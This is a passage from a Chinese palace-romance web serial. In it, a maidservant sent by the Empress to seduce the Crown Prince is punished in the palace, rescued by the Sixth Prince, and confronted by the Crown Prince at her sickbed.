他语气中带着其他的深意,说完就大刀阔斧的坐在软榻上等太医给她诊治。 偏偏眼睛一错不错,看的人心里发慌。 安小月却异常平静,察觉到太医八卦的眼神,坦然伸出胳膊,还恭敬地说了句“劳烦了”。 她的确是病了,上次的病根没有好透,今天又被吓着了,会发热也在她的预料当中。 唯独没有预料到萧衍会亲自带着两个太医来给她诊治。 两个太医轮流给她诊脉看完,小声交流了几句,才向太子如实汇报,“这位姑娘应当是受过风寒没有好透,又惊悸伤神,导致邪气内陷,当以疏风散寒,安神定志为治。” 萧衍挑了挑眉,“那就给她开药方,良药苦口利于病,孤要的是一剂见效,若是不能,唯尔等是问。” “喏,微臣这就开方子。” 两个太医见太子亲自过问,都以为面前这女子是太子心尖尖上的人,八卦之余又重视起来,走到一旁商量方子去了。 萧衍则是慢条斯理踱步到她身边,居高临下地盯着她。 “既然病了那就老实呆着,别以为孤心善就肆无忌惮,苏德,再派个稳妥的老嬷嬷过来,务必亲眼瞧着药盏见底,若是还跟别人一起糊弄孤,明日便可不必在府里当差了。” 安小月背在身后的手忍不住动了动。 这个别人应当是在说她吧? 什么稳妥的老嬷嬷,分明是要找个严厉的过来看着她罢了! 安小月眼神幽怨,她这是给自己寻了麻烦回来吗? 第32章 阴晴不定的太子 敏锐如萧衍,他早已经发现了安小月敢怒不敢言的眼神,背过身嘴角不自觉地高高翘起。 白日他还以为她被撵回去会躲起来哭,没想到却是到不相干的人那里献殷勤。 真是白瞎了他难得的善心,不捉弄她实在是对不起自己。 两位太医商讨后开了最适合安小月体质的药方,太子府就有药房,立即抓了药熬上了。 太医写了方子就回去了,但萧衍却依旧四平八稳地坐在软榻上,没有要走的意思。 安小月早早就困倦的睁不开眼,偏偏还要应付这位爷,幽怨的小眼神时不时朝他飞过去。 终于,萧衍被她的眼神看的起了一肚子火。 萧衍觉得这女人的胆子越发大了,居然敢撵他走,活到这么大第一次有人对他这种态度,又新奇又不悦。 “你那是什么眼神?这是孤的太子府,孤走不走难道还要看你的脸色?” 若是按照往常他的脾气,被人嫌弃了巴不得立即走得远远的。 可转念一想,他这就乖乖地走了,岂不是更顺了她的心意? 萧衍放下的腿又翘了上去,指节轻叩案沿,似笑非笑吩咐苏德,“孤突然想在这里再坐一会儿,给孤上壶茶来。” 苏德嘴角微微抽搐,似乎是在忍笑。 “诺,奴才这就让人上茶。” 天爷啊,他家殿下什么时候变得这么闲了? 居然会放低身段捉弄一个低贱的婢子! 这阴晴不定的性子他是摸不透了,还是乖乖夹紧尾巴,少惹这个女人为好。 苏德出去之后,屋子里仅剩萧衍和安小月两人。 可两人一个看这里一个看那里,没有半点要交谈的意思,静的能听见安小月突然冒出来的肠鸣音。 她瞬间脸颊爆红,不自在地按住肚子。 这肚子仿佛故意跟她作对似的,按得越紧,叫得越欢。 萧衍狐疑的眼神扫了过去。 “孤记得孤没有断了你这里的膳食。” 可她这是被饿着了? 安小月难堪地咬了咬嘴唇,低声道,“奴病了胃口不好,还没有吃晚饭。” 萧衍立即讽刺道,“一个婢女,孤允许你休息养病已经是开恩了,你不想吃下人的膳食,难道是想吃孤的?” “那……殿下会让奴如愿吗?” 安小月饱含深意的眼神看了过去,直直对上萧衍似乎是因为又捉弄到她而自得的双眼。 后者一愣,浓眉高高耸起,沉下去的脸色带着几分风雨欲来的危险气息。 他到底是为何觉得这女人是个胆子小的包子? 不仅敢撵他走,言语之间更是充满了对他的挑逗和勾引,这叫胆小? 萧衍像是从来没见过她那样深深地盯着她看,良久之后,突然冷笑一声。 这笑声听得人心里发毛,他的腮帮子也鼓了起来,咬着牙像是在强忍什么似的。 “安小月,你若是再敢对孤不敬,孤一定会让你后悔出现在太子府!” 就算那帮人再送来一个又如何? 能弄死她,自然也能弄死下一个。 安小月自知又失败了,心里失望,面上却装得平静。 她佯装不解地蹙了蹙眉,片刻后一句辩解的话都没说,乖顺地低下了头。 “殿下恕罪,奴不敢了。” “算你识相!”萧衍嘴角向下撇,似乎是火气并没有全消,瞪了她一眼就大步离开。 他重重地甩上门,把正在外间熬药的青莲吓了一跳,还以为她家姑娘又被罚了,连忙跑了出来。 却只看到太子殿下带着怒气离开的背影,好像他才是被罚的那一个…… 青莲茫然不解,把药倒出来端进屋子,又拿了两块蜜饯给她甜嘴,坐在床边候着。 “姑娘,你说苏公公会找哪个嬷嬷过来?我倒希望是看库房的那个王嬷嬷,她人可好了,从来不欺负我们这些小宫女。” 安小月看着深褐色的浓稠药汁,本能的想要推开,又想起来暗中必定有人看着自己,咬了咬牙,仰起脖子一饮而尽。 青莲迅速给她嘴里塞了一块蜜饯。 平时觉得甜的牙疼的蜜饯挡住泛起来涩味,她缓了会儿才对着青莲感激一笑。 “王嬷嬷就是跟你说女子得靠自己的那个人吗?若真的是她,我也很期待她来。” 至少她们在某些方面的想法是一致的,这就不存在会强硬要求她做什么事了。 说曹操曹操就到,话音刚落房门就被敲响了。 青莲去开了门,见苏公公站在门口,急忙侧身让开让他进来。 “苏公公快请进,姑娘,苏公公来了。” 安小月伸长脖子往外看,第一眼看到的却不是苏德,而是那个满脸都写着严肃的老嬷嬷。 再一看青莲快要咧到耳朵根的嘴角,心中就有几分肯定了。 想必这位就是那位能说出“女子还是要靠自己才能走的长远”的王嬷嬷。 果不其然,苏德笑呵呵的跟安小月介绍他身后的人。 “安姑娘,这位是王嬷嬷,是以前就管着殿下私库的老人了,今后就由她带着青莲这丫头照顾你,还请安姑娘小心身子,别让殿下太过操心为好。” 安小月脸皮再厚也不由得又红了脸。 没办法,想引起狗太子的注意,只有苦肉计最管用了。 “劳烦苏公公了,奴今后一定小心。” 苏德欣慰的点点头,给王嬷嬷使了个眼色就出了屋子。 “阿弥陀佛!竟然真的是王嬷嬷来了,我刚才还在跟姑娘念叨呢,说若是王嬷嬷来就好了,看来连菩萨都在保佑我们呢!” 青莲看起来似乎与王嬷嬷非常相熟,笑嘻嘻地过去搂住她的胳膊撒娇,被王嬷嬷没好气地点了点额头。 安小月想了想,掀开被子下了床。 老嬷嬷是太子身边的老人,这种身份的人能来照顾她本就是她高攀了,若是还不做全礼数,怕是会让人误会自己太难打交道。 “王嬷嬷能来是奴婢修来的福气,以后别说什么照顾不照顾的,咱们都是伺候殿下的人,今后要同心协力才是,奴婢小门小户出来的,还望嬷嬷多指点着些。” 安小月笑起来异常让人觉得亲近,偏又把自己的姿态放得最低,一下子就让王嬷嬷打消了对她的防备。 她那张严肃的脸终于带了些笑,拉着安小月的手拍了拍。 “姑娘能得到殿下的另眼相待可跟咱们不一样,若不是姑娘,我这把老骨头可能还在看库房呢,有我在,姑娘放心吧。” 安小月莞尔一笑,点头应下。 第33章 皇后问话 可是听狗太子的意思,这王嬷嬷过来主要是看着她别让她继续捣鬼,其次才是照顾。 安小月表面上和青莲一样亲近依赖,心底却始终对王嬷嬷抱有几分警惕。 第一夜相安无事的度过,可翌日一大早,安小月还没睡醒就被叫了起来。 王嬷嬷脸色有几分难看,连带着青莲都瑟缩的躲在她身旁。 “姑娘快起来吧,宫里来人了,皇后娘娘叫姑娘过去说话。” 安小月的心重重咯噔一声,直接提到了喉咙口。 该来的还是来了! 她装出忐忑,紧张地问,“嬷嬷,那人有说什么吗?皇后娘娘怎么会叫我过去说话,我有点怕。” 这才是一个莫名被贵人点名应有的反应,王嬷嬷紧绷的神色瞬间柔和了不少。 她无奈叹气,让青莲帮着安小月下床洗漱。 “你也别太害怕,你是这几年来唯一一个出现在殿下身边的女子,兴许娘娘只是想问问你殿下这段时间的情况罢了,你实话实说就行,别耍小心思,不会有事的。” 才怪。 安小月偷偷在心里补上一句,不会有事才怪。 皇后娘娘忍了这么多天一直没收到消息,自己身边又来了个太子的眼线,她怎么可能轻易放过自己! 这王嬷嬷不知道是装的还是怎样,显然不知道自己来太子府的真正目的,能说出这种宽慰的话,已经很让她意外了。 安小月一直忐忑不安,只来得及洗了把脸梳好头就出了屋子。 宫里来的人还是之前那个老嬷嬷,什么话都没说就把她带出了太子府。 也不知道狗太子知不知道她又被带走了…… 安小月忍不住回头看了眼太子府,王嬷嬷和青莲还站在原地,神色都有几分复杂。 她回头轻声叹气。 只怕这次之后,府里所有人都会知道她来太子府的目的了。 不过这样也好,若是皇后娘娘能再宽恕几天,今后行事就不用遮遮掩掩了。 老嬷嬷一路上都没有跟她说话,眼神却像带着冰茬子似的,非常不满。 安小月不敢替自己辩解,缩着脖子降低存在感,但进了皇后的寝宫之后,就由不得她了。 寝殿两旁站着五六个粗壮的婆子,老嬷嬷抬了抬手,这些婆子一起冲过来把她压住。 安小月的脸颊擦过鹅卵石地面,硬生生磨破了一层皮。 她吃痛惊呼,泪花争先恐后地涌了出来,却又听到老嬷嬷恶声恶气的怒骂。 “贱婢!说好了七日,怎么迟迟不见消息进来?难道你是哄娘娘的?” 她话音刚落,几个婆子手上的力气更重了,还有人趁乱在她大腿根的嫩肉部位狠狠拧了一把。 安小月慌乱摇头,“奴不敢,奴怎么敢欺骗皇后娘娘!只是殿下太过警惕,一直对奴防备,这才迟迟没有进展啊!” “你还敢狡辩!” 老嬷嬷一个大步跨过来甩了她一个巴掌。 “太子殿下再怎么说也是男子,是男子就会有欲望,说到底还是你做得不好,居然还敢让太子殿下替你背锅!” 安小月咬着嘴唇无声啜泣。 她在相府听得最多的就是高门大户里的腌臜,生不出来孩子怪女人,生不出来儿子还怪女人肚皮不争气。 现在就连太子提不起欲望都怪她勾引的不够! 明明都是女子,竟会想着用女子的身体做诱饵,真是荒唐,可笑至极! 老嬷嬷见她脸上似乎带着恨意,心里微微惊诧,听到身后的脚步声,又是一个巴掌甩了过去。 “贱婢!你说,你到底有没有用心去做!” “够了,把她带过来。” 皇后娘娘不知道什么时候出来了,被宫女们前呼后拥着坐到院里的花架之下,居高临下地睨着安小月。 “本宫说过了,若是七日后还是没有进展,那你只有死路一条,看来你并没有把本宫的话放在心上。” 安小月挣开婆子的束缚,跪爬至皇后娘娘脚下。 “娘娘,奴并不是一点进展都没有,那天殿下还亲了奴,只是奴被浴池里的热气憋晕了,这才没有更进一步。” “当真?”皇后的眼眸立即亮了起来。 她不再随意的坐着,像是有几分急切那样凑近安小月。 “你再仔细说说,太子除了亲了你,还做了什么?他有没有……” 老嬷嬷轻咳一声提醒,皇后这才重新靠了回去,但脸上的兴味却丝毫未减。 “罢了,你仔细说来,若是本宫觉得的确有些变化,倒是可以再饶你几天。” 安小月心中一喜,顾不上害羞了,把那天在浴池里的种种一五一十的讲清楚。 只是她没把太子逼问她的那些说出来,即便这样也让皇后呼吸越来越急促。 她和老嬷嬷对视了一眼,脸色如出一辙的难看。 只怕她们已经开始怀疑太子并没有废了那里了。 安小月心头微动,又不紧不慢地补充道,“皇后娘娘,依奴来看,半个月之内奴一定会让殿下对奴放松警惕,只有亲眼见了才知道传闻是真是假。” 皇后不悦,冷哼道,“你这贱婢为了给自己拖延时间,倒是什么海口都能夸下来。” 安小月不敢说话了,留给皇后足够的思考时间。 这时,刚才还对她恶声恶气的老嬷嬷却也劝起了皇后。 “娘娘,要老奴看她说的倒有几分道理,老奴说句不敬的话,宫里的太监们都会找宫女对食,这就表明就算没根之人也有欲望,只怕还得亲眼看了才知真假。” 皇后脸上露出几分若有所思,“确实有几分道理。” “安小月,本宫再要你一句准话,半个月之后,你有多大的把握能让太子放松警惕?” 安小月这次下了狠心,咬牙道,“奴有九成的把握能让殿下放松警惕,到时候奴再加一把火,一定会成事!” “好,那本宫再多给你半个月时间,一月为期,若是你还是不成,那你的娘,你的弟弟,哼……” 狠人的威胁总在不言之中,一声轻哼直接让安小月吓得腿都软了。 她正要叩头谢恩,皇后娘娘的脚尖却踩到了她的肩膀,语气凉飕飕的。 “但死罪可免,活罪难逃,你敢扯谎欺骗本宫,若是本宫不罚你,以后还会有谁听本宫的话?” “带她去御花园人最多的地方跪着,没有本宫的允许,任何人不准带她走。” 第34章 御花园偶遇 只要不死,跪一会又能怎样? 安小月在前往御花园的路上一直这么想,可跪了没过半个时辰,她就后悔了。 顶着周围嫔妃们幸灾乐祸的眼神,她只觉得生不如死。 若只是盯着看那也就罢了,偏偏这些嫔妃们总要在她不远处驻足,和一旁看着她的嬷嬷打听她犯了什么错。 老嬷嬷当然不会说是因为没勾引到太子才惹了皇后娘娘发怒,就说她怠慢差事并且心怀怨怼。 紧接着这些妃嫔就会不约而同地讽刺安小月,说她长得就是一副不安分的模样,她们若是皇后娘娘,早就派人把她打死了事。 半个时辰内至少来了五位妃嫔,每个都问,老嬷嬷每个都回答的细致。 没过多久她就察觉到围观的人更多了,都是些宫女太监,靠在一起肆无忌惮的取笑她的身材相貌。 老嬷嬷并未加以阻止,甚至会时不时喝斥她两句,骂的都是些难听话。 安小月下意识缩了缩肩膀,试图将胸口那团藏起来,可她只动了一下,那老嬷嬷的巴掌便甩到了脸上。 她将头转回来,老嬷嬷又给了一巴掌。 很快两边脸颊就高高肿起,她被日头晒得头晕目眩,身形摇摇欲坠。 脊背早就弯成像是一把拉到极致的弓,汗水浸透了衣裳,大颗大颗的滴落下来,喉咙也因为脱水变得干哑,喘气都像是负重几万斤那样费力。 就在安小月感觉自己即将昏厥之前,一道熟悉的声音犹如甘霖降落,待她想到是谁之后,头却垂得更低了。 老嬷嬷看到来人,立即殷勤上前问候,“六殿下是来看望娘娘的吗?娘娘一大早就在念叨,殿下来的正是时候呢。” 萧泽不理会聒噪的老嬷嬷,炙热的目光一直落在安小月身上,噙着笑上前。 “安姑娘,我们又见面了,你这是?” 他上下打量她,似是不解。 安小月想要叩头请安,可长时间没有变过姿势让身体的各个关节异常僵硬,动了下差点摔到地上。 萧泽迅速撑着她的肩膀将娇弱美人收入怀中,脸上满满的都是怜惜。 他蹲在旁边,伸出手轻轻挑起她的下巴,用大拇指缓慢地摩挲她红肿的脸颊。 “啧,瞧你。”萧泽眼眸闪烁,轻声安慰道,“是皇额娘要罚你?你脸上这伤怎么来的?难不成是这老东西打的?” 他的尾音骤然拔高,带着几分风雨欲来的暴虐,身后那老嬷嬷本想将锅推到别人身上,一听这话急忙跪下来。 “殿下,的确是老奴打的,但老奴也是听命行事,这小蹄子胆敢欺瞒娘娘,实在是……啊!” 老嬷嬷义愤填膺的控告蓦地变成了痛苦哀嚎。 安小月抬头,就见老嬷嬷捂着脸涕泪交加,嘴角竟是流出一丝血痕! 萧泽却看都不看,反而饶有兴致地盯着安小月的脸,自然没错过她眼底一闪而过的畅快。 原来这也是个心狠的。 他顿觉有趣,慢条斯理地收回右手,一旁的小太监忙掏了帕子出来给主子擦手。 “就算是皇额娘要教训这丫头,也断然没有伤人面皮的理,你算个什么东西,也敢借皇额娘的名头行事?来人,给本皇子狠狠地打她,什么时候晕了什么时候再停!” 萧泽一声令下,跟在他身后的小太监们便走出来几个。 两人抓着老嬷嬷的两边胳膊,一人先给她嘴里塞了块帕子,又撸起袖子,抡圆了胳膊扇巴掌。 紧接着御花园就响起老嬷嬷的压抑的哭叫声,那清脆的耳光仿佛打在安小月心上似的,让她越来越清醒。 刚才因为六皇子冷不丁甩了老嬷嬷一巴掌的畅快尽数消失,留下来的只有恐惧与不安。 听说六皇子睚眦必报,若是落到他手上只怕要比在太子手下更加难熬! 她真是昏了头才想着另投他名下。 安小月不动声色的往后退了退,恭敬的磕头请安,“奴婢叩见六殿下,殿下万福金安。” 萧泽没有察觉到她的变化,弯腰亲自扶住她的两边胳膊,感觉到掌心的细腻柔软,情不自禁地摩挲两下。 安小月像受了惊似的猛地弹开,这般小兔子模样落到萧泽眼中,意外的勾引人。 他的眸色变得越发深邃晦涩,若不是还在外头,只怕早就扑上去了。 正要说话,安小月直挺挺地又跪了下去。 膝盖砸在青砖上的闷响听得人头皮发麻,但她却只是皱了下眉,立即就松开了。 “奴婢愚钝,不慎惹怒了皇后娘娘,娘娘这才降罪让奴婢跪在此处受罚,未有允许不得擅起,恐怕会误了殿下差遣,还请殿下饶恕。” 萧泽挑了挑眉,装作没听出来她话里赶他走的意思。 “不怕,有本皇子在绝不会再让皇额娘罚你,还是说你不信本皇子,觉得本皇子保不住你?” 安小月立即伏身,额头贴着被日头晒得滚烫的地面,语气似是恭顺,“奴婢不敢。” 萧泽哼了声,拽着她的胳膊又把人扯了起来。 “本皇子说了不用你跪就是不用跪,你若是怕皇额娘继续责罚,本皇子这就过去帮你解释一下,这样可行?” 安小月听完只觉得无比心慌,指尖狠狠掐进掌心,却再也说不出推拒的话。 皇后娘娘本来就因为那件事不满。 若是六皇子又在这个节骨眼上替她说话,难免会让皇后觉得她不服责罚,勾引六皇子帮她出头! 再者皇后若是听了六皇子的劝饶了她也就算了,若是被六皇子激起了脾气,母子俩再因为她生了嫌隙,不还是她背锅? 这可真是想要她的小命啊! 安小月牵强露出一抹微笑,嗓音发着颤。 “殿下慈悲心肠,奴婢感激不尽,但奴婢到底身份低贱,娘娘只是罚奴婢跪着,奴婢已经很感激了,实在不值得殿下执意护着。” 三番两次被拒绝,萧泽终于不耐烦了。 他胸口气得起伏,咬牙切齿道,“你一直拒绝,难道是不想和本皇子扯上关系,担心太子哥哥生气?” “可他若是真的在乎你,就不会明明知道皇额娘把你叫进宫里却不闻不问,还是说你果真是个贱婢,就喜欢贴别人的冷屁股?” 第35章 另投他人 听到六皇子这样骂,安小月心里也觉得委屈。 她一个大活人当着那么多人的面被带走,不可能传不到狗太子那里。 可等了这么久却连他派来的人都没等到! 看来狗太子是真的不把她的死活放在心上,想想也是,她只是个人人可以踩一脚的玩意儿罢了,会在意才是见了鬼。 安小月咬着嘴唇,脸上有被人拆穿后的难堪,却还是一声不吭的低下头,也不想着说两句好话哄哄六皇子。 萧泽真的要被她气死了。 本以为皮相长得这般好会是个温柔美人,哪知道居然是个木头,脑子还像一根筋似的! 太子哥哥怎么会喜欢这种女人? 若不是亲耳听到,萧泽都以为自己看见的不是那个女子。 “行了,本皇子说什么就是什么,你敢反抗就是对本皇子不敬,就算皇额娘饶了你,本皇子也要罚你!” 眼看说好话不听,萧泽气呼呼的扭头就走。 还不忘记吩咐伺候的人,“把她给本皇子带过来,若是敢反抗,直接把她扔湖里喂鱼!” 安小月身体猛地一僵,下意识想起来小时候被扔进湖里泡了一夜的事情。 无数条鱼儿隔着单薄的衣裳啃食她的皮肤,她只能不停地游动,不能停下来丝毫。 她被这种情绪压着被迫低下了头,跟在六皇子身后又回了皇后娘娘的寝宫。 刚进去她就看到坐在廊下拿着把剪刀修剪花枝的皇后娘娘。 那双看过来的凤眸里淬着寒意,落到她身上时,大剪刀咔嚓一下,那朵开得最旺的花儿猝不及防跌落在地。 安小月心惊胆战,急忙把头埋在胸口。 六皇子却像是没看到似的,笑呵呵的凑过去跟皇后撒娇耍痴,嘴里说着甜死人的好听话。 皇额娘意味不明的哼了一声,“少跟本宫装傻,本宫只是罚她跪了一小会儿而已,你又是扇巴掌又是私自把她带回来,你眼中可还有本宫这个皇额娘?” “皇额娘,那里人来人往,若是传到父皇耳中说皇额娘苛待下人那不是得不偿失?儿臣这是为了皇额娘好。” 到底是亲儿子舍不得生气,皇后娘娘居然被六皇子气笑了。 片刻后伸出带着护甲的手指戳了戳他的额头,“你可真是会给本宫找事。” 说罢,淡淡瞥了安小月一眼。 “既然六皇子亲自替你求饶,本宫今日就饶了你,记住你跟本宫做的保证。” 安小月大气不敢喘,头碰到冰凉的地面。 “诺,奴婢一定谨记娘娘教诲!” “行了,出去吧。” 安小月顾不上腿疼,立即爬起来后退两步,然后猫着腰飞快地出了门。 老嬷嬷已经在门口候着了,看到她出来,招了招手就往外走。 回去的路上老嬷嬷依旧没有开口,她倒是能安静的整理混乱的思绪。 若六皇子只是说几句话就能让皇后改变主意,那他的确是个靠得住的靠山。 她也不强求能和他长久,只要受宠一日,能把娘和阳儿带出那个吃人的虎狼窝就行。 皇后就算再不待见她,六皇子像今日这样撒撒娇,岂不是也能如愿? 至于失宠之后她又该何去何从,那还重要吗? 安小月看着不远处太子府的门楼,一颗种子在心里默默地生根发芽。 若是平常她是没有资格从正门进的,但因为这辆马车是从宫里出来的,看门的小厮替她开了正门。 安小月犹豫片刻,还是低着头快步迈进去。 从正门口到她住的院子还有很长的一段路,一路上时不时有人朝她投来意味深长的眼神。 在她经过之后,众人迅速围拢起来窃窃私语。 议论的话题无非就是她三番两次被宫里的人带走,会不会是皇后娘娘安插在太子身边的眼线种种。 安小月一路走回来早已经精疲力尽,推开门差点跌到地上,好在王嬷嬷正站在门口,一把把她接到怀里。 “姑娘什么时候回来的?你这是……” 王嬷嬷和青莲同时打量她身上的狼狈,又对视一眼,神情如出一辙的复杂。 青莲小心翼翼地问,“姑娘,皇后娘娘罚你了吗?” 安小月扯了扯嘴角苦笑,“娘娘说我懈怠差事,罚我跪在御花园,还好六皇子经过救了我,若不是他,只怕今天不会这么快回来。” 王嬷嬷和青莲同时倒抽一口气,片刻后,又听到王嬷嬷叹了口气。 “不过好在是平安回来了,今后小心些行事,说不定过上段时间娘娘就会忘了。” “姑娘还是先躺下歇歇吧?” 两人一左一右扶着安小月到床上躺下,轻手轻脚脱了她的鞋袜,雪白肌肤上两团青紫骤然映入眼帘。 青莲到底是小丫头,又因为比较亲近安小月,不满的话差点脱口而出,幸好王嬷嬷一直提防着她语出惊人,及时捂住了嘴。 她满脸凝重地呵斥,“你不要命了,什么话都敢说?” 青莲表情讪讪,安小月在一旁看着,心中又有欣慰,又带着几分绝望。 顶嘴不得,难道连私底下抱怨两句都不行吗? 这皇宫可真真是吃人的地方,她只是在太子府待了这么几天罢了,就已经伤了几次。 或许这地方是真的和她相克。 王嬷嬷教训了青莲一顿,这才从匣子里取出药膏,又让青莲洗了帕子过来,小心翼翼地帮安小月处理伤口。 冰凉的药膏刚抹上去就抵消了膝盖上火辣辣的疼,可那股清凉又直往心窝里钻。 她把头抵在被子里轻轻一颤,良久才吐出来一口气。 “姑娘好好歇着吧,我看看小厨房还有没有饭,热热给你端过来,青莲,你在这里守着,别什么话都说。” 王嬷嬷瞪了瞪青莲,转身出去了。 可门刚关上,青莲就古灵精怪的冲她的背影做了个鬼脸。 看得安小月忍俊不禁,隐隐生出几分羡慕。 “青莲,我走之后,殿下可派人过来问过?” 青莲撇撇嘴,摇头。 “姑娘刚被人接走,我就想去玉庆宫探探风声,但院里的嬷嬷都说殿下天不亮就出府了,直到现在都还没回来,或许……殿下甚至不知道这回事。” 安小月一口气被噎在喉咙不上不下,差点背过去。 所以说她因为狗太子受了罚,而他却不知情? 要知道这苦肉计就得当场施展最有效果,事后再提总有索取同情的意味。 那她乖乖受罚是图什么! 第36章 自请离开 安小月气的不轻,昨夜刚退了热,此时额角又隐隐作痛。 “青莲,快去再熬副药过来,我头好痛。” “什么?又发热了,我这就去!” 青莲一探她的额头果然烫的厉害,忙不迭跑出去熬药去了,屋里只剩下她一人躺着,压抑的情绪如同旧疾汹涌扑来。 自从踏入太子府她处处小心,为了活命不得不两头周旋,苏公公暗示她别借着小病小痛让太子操心,可这难道是她心甘情愿的吗? 若不是走投无路,她宁愿在相府和那群畜生拼个你死我活,也不想来这个龙潭虎穴受这份煎熬! 安小月蜷在榻上,额上虚汗涔涔,碎发被汗黏在颊边,她咬住苍白的嘴唇,将脸埋进棉被当中。 病中的身子本来就绵软无力,心里的酸楚又绞的她呼吸都疼,翻了个身,泪珠子断了线似的往下滚,可她却死死攥着被角,不敢哭出声。 她知道狗太子派人暗中看着她,可这委屈怎么压都压不住,索性由它去了。 知道就知道吧,大不了杀了她算了。 一向对什么都不肯低头的安小月头一次生出退缩的心思,恨不得找机会逃离这个地方。 青莲熬了药服侍她喝了,药方里加了安神药,她很快就被药性引的沉沉睡去。 与此同时的玉庆宫,鎏金兽首香炉里吐出渺渺青烟,食案上错落摆放着各种珍馐美馔。 而萧衍却只盯着空盘失神,他抿紧嘴唇,喉结无声滚动。 苏德见他半天不动筷,忧心上前,“殿下,可是今天的晚膳不合胃口?不如让小厨房做些清淡的来,总不能一天都不进食啊。” “不用,孤没胃口。” 萧衍扔了筷子,皱着浓眉离桌。 苏德悄悄挥手让小太监将桌上的饭菜撤下,重新点了熏香,上了一壶开胃茶。 用乌梅煨过的枣子酸味太过刁钻,横冲直撞的钻进萧衍鼻中,他这才赏脸喝了一口。 苏德终于松了口气,等他放下茶杯,又往里面添了小半。 但萧衍好似对这东西没太大兴趣,懒懒地摆了摆手,靠着软塌仰头望天。 “那个女人又病了?” “是,从宫里回来之后就病了,不过照顾的丫头已经熬了药,听王嬷嬷说不是太要紧。” 萧衍扯了扯嘴角,“皇额娘的招数可真是层出不穷,虽没打骂,却让她受尽了指点,钝刀子割肉,跟凌迟处死有什么区别!” 话里虽没明说,但语气中满是对皇后这般举动的不满。 苏德只感觉自己的脑袋在脖子上边晃悠,接话不对,不接也不对,含含糊糊的挤出一句囫囵话,“皇后娘娘许是太过着急了。” 殿下严防死守不允许任何人近身,唯一的例外就是安姑娘,皇后娘娘逮住机会可不把人往死里折腾。 好在有六皇子出头,虽然目的不纯,可救了她是实实在在的。 萧衍半闭着眼似乎是睡着了,可起伏剧烈的胸膛却显露出他的不平静。 苏德默默数着数,殿下估计是忍不住了。 这个念头刚出现,就见已经快躺下去的太子殿下猛地坐了起来,狭长的眸子微微眯起,喉间溢出一声冷笑。 “她这是打量着孤耳聋眼瞎,性子软好欺负,连自己府里的人都护不住?” 苏德“咚”地跪倒在地,面上有几分恐慌,怕他动怒又不得不哄着,“殿下消消火,您是太子,皇后娘娘怎么也不会轻易管到您头上。” “孤倒不见得是这样。” 萧衍不轻不重的哼了一声,撩开袍子大步往外走。 苏德手忙脚乱地爬起来奔上去,扶了扶歪了的帽子,忙问,“夜深了,殿下这是要去哪儿?” “孤随便走走,你们不必跟着。” 他微凉的声音顺着夜风传过来,挡住身后人跟随的脚步,苏德和侍卫首领赵忠对视一眼,神情复杂。 萧衍的确是想随便走走,只是晃着晃着就走到了一个熟悉的院落,屋里透出昏黄的光线,里头人影晃动。 他脸色微微一变,眼底泛起细微的涟漪。 他怎么会无意识走到这里! 难道在潜意识中也在担心这个该死的女人? 意识到这一点,萧衍差点被突然冒出来的念头气笑,咬了咬牙,似乎是恼羞成怒地扭头就走。 明明可以找借口躲过,她偏不用,自己找上门送死,跟他有什么关系? 再说还有小六及时伸出援手,又没有真的被怎么样,装得倒是像名门贵女一般娇弱! 他大阔步往前冲,还没拐过弯就听见身后的院子响起小丫鬟的惊呼。 “王嬷嬷,姑娘吐了!” “不行,得请府医来,你帮她换身衣裳,我这就去见苏公公。” 紧接着就是“嘎吱”开门的声响,似乎是有人从里面出来了,萧衍听见脚步声,第一反应居然是躲起来。 脚步声越来越远,他隐藏在黑暗中的脸色也愈发难看。 这里是他的地盘,他躲什么躲! 就算现在进去看那个女人死了没有也不会有人挑他的错。 萧衍抿了抿唇,竟朝着那扇开着的门直直走了过去,青莲正端了洗了脏帕子的盆出来,差点尽数倒在萧衍身上。 鸦青缎地直裰织暗云纹,腰间缀着的云龙纹玉佩让青莲不用抬头都看出来人的身份,急忙稳住手跪了下去。 “奴婢叩见太子殿下。” 萧衍眼神都没往她身上落,隔着素棉帐看向榻上的人,眉头不自觉高高皱起。 “出了何事这般慌张,死人了?” 青莲心里咯噔一下,以为是姑娘又惹了太子不悦,脑袋垂得更低了。 “回殿下,安姑娘旧疾未愈,今早又没有按时吃药,现在又发热了,王嬷嬷已经去请示苏公公,看能不能请府医来瞧瞧。” “哼,一个伺候人的婢女,三天两头请太医,不如孤专门给她准备个太医随时待命,省得她整日哪里都不舒服。” 青莲结结巴巴,“姑娘是真的病了。” 萧衍信了半分,不过想着这女人能做出半夜吹风让自己病情加重的蠢事,这次说不定也是同样的招数。 他可不能再上当了。 正要说话,榻上的人突然动了动,艰难的爬了起来,又在萧衍不解的目光中,只穿着单薄中衣跪倒在地。 “奴婢贱躯多病,恐是身带晦气,若是奴婢不祥冲撞殿下贵体,那奴婢万死也难辞其咎,还请殿下将奴婢赶出太子府,以免冲撞殿下!” 第37章 动摇 萧衍面庞冷硬,站在原地许久未动。 房中安静的只能听到屋外呼呼刮过的风,安小月等不到下文,还以为他被自己气走了,颤巍巍抬头就见眼前出现熟悉的一抹杏黄。 他的声音高高自头顶传来,“赶出太子府?然后让六弟把你接进私宅,从今以后牢牢攀着这个高枝?” 安小月用力闭了闭眼睛,因为伏在地上,声音略显闷哑。 “奴婢绝没有攀扯六皇子的意图,还请殿下明鉴。” “哦?不曾骗孤?” “奴婢不敢欺瞒殿下。” 她话音刚落,萧衍倏地冷哼一声,咬着牙根反问,“不敢欺瞒?孤见你敢的很。” 他似乎是被气狠了,大掌用力箍住她的肩膀把人扯起来。 安小月没有防备,吃痛惊呼。 萧衍嘴角竟还噙着笑,但安小月总觉得这笑有些瘆人,反倒衬的他更加狠戾。 他咬着牙,“是谁说进了太子府就一辈子是太子府的人?是谁说要一辈子伺候孤?难道在你眼中孤还没有六弟重要?说!” 一种独属于雄性天生的自尊问题让他下意识开始计较起来,又夹杂着某些说不清的情绪,听得安小月满头雾水。 狗太子这是在质问她为什么要变心? 她只是个低贱的奴婢,她心里怎么想他们二人原来是这么重要的事情吗? 门口,王嬷嬷身边站着苏公公和临时被叫来的府医,三人面面相觑,都从对方眼中看到的震惊。 他们的殿下是吃味了吗? 还吃的是一向看不起的婢女和六皇子的醋? 在长久的沉默当中,萧衍终于冷静下来,自然也察觉到自己古怪的情绪变化。 他冷着脸松开安小月,往后退了一大步。 “孤劝你最好死了这条心,在太子府皇额娘都看不惯你,真跟了六弟,只会死得更快。” 安小月张了张嘴,想问他自己就算是真的死了,跟他又有什么关系。 可心里隐隐约约的那个念头让她识相的闭了嘴。 她被甩开没了支撑,人虚弱地靠在床架上,正犹豫着要不要晕倒加一把火,就见萧衍扭头瞪了她一眼。 